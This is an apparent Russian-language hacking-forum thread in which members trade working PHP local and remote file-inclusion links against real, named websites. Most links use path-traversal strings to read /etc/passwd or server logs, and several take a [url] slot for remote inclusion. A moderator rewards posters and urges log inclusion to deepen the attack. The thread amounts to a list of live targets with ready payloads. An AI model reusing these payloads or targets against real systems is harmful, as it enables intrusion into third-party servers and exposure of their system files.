PHP Иньекции

в сорце:

Code:

<frame src="тут адрес" name="mainFrame">

просто вставка фрейма с твоим адресом, не иньекция

Code:

http://pythonlib.pergamen.hu/examples/index.php?p=../../../../../../etc/passwd

 

Локальные инклуды

 

Code:

http://oechorus.org/index.php3?incl=/etc/passwd

Code:

http://www.teckel-rueden.de/main.php3?main=/etc/passwd

 

Немного не PHP Injection, но бага

Локальные инклуды (Здесь мноооого чего):

Для тех, кто знает китайский, удалённый инклуд:

 

Локальные:

Удалённые:

 

Было бы иентереснее если при вы давали в инклуде логи как
error_log
access_log
ftp_log
etc....

Следсвенно буду ставить полююсы.
Показывайте что вы не просто банально можете подставить

Ну а еще понимаете данный вид атаки до конца.

 

2 [ cash ] - ok
поехали:

Code:

http://www.earthburg.ru/earthadm/php/process.php?lang=r&c1=10&id=1&file=../../../error_log

 

=\

 

Code:

http://www.sembiz.com/index.php?addr=[url]

 

сохраняем и открываем

 

Code:

http://www.take2games.com/index.php?p=[url]

 

Локал на .edu

 

мда... ксс там тоже есть

Code:

http://www.clustertech.com.cn/cn/main.php?file=/etc/passwd

http://www.clustertech.com.cn/cn/main.php?file=[any url]

 

XND IT Security

http://xndits.ru/index.php?module=articles&c=../../../../../etc/passwd&b=11&a=13

 

Вот

 

Чёто настроения нет

 

Ну наконец то PHP-inj! то все скуль да скуль!

Code:

http://www.hclada.ru/turnir11/2005/index.php?c=[COLOR=DarkOrange][url][/COLOR]

http://proficonsult.ru/newsnum.php?num=[COLOR=DarkOrange][url][/COLOR]

http://www.webinfo.pp.ru/rezept/cons/index.php?page=[COLOR=DarkOrange][url][/COLOR]

http://kompressometr.ru/?r=[COLOR=DarkOrange][url][/COLOR]

 

Code:

http://catalog.elra.info/product_info.php?action=download&filename=../../../../../../../../../../etc/passwd

 

Code:

http://www.vdv.crimea.ua/td/show_art.php3?filename=../../../../../../../../../../etc/passwd
http://www.rero.ch/pdfview.php?section=fiche&filename=../../../../../../../../../../etc/passwd

 

Code:

http://www.tranceradio.ch/autohtml.php?filename=../../../../../../../../../../etc/passwd
http://rubyweaver.gilluminate.com/download.php?filename=../../../../../../../../../../etc/passwd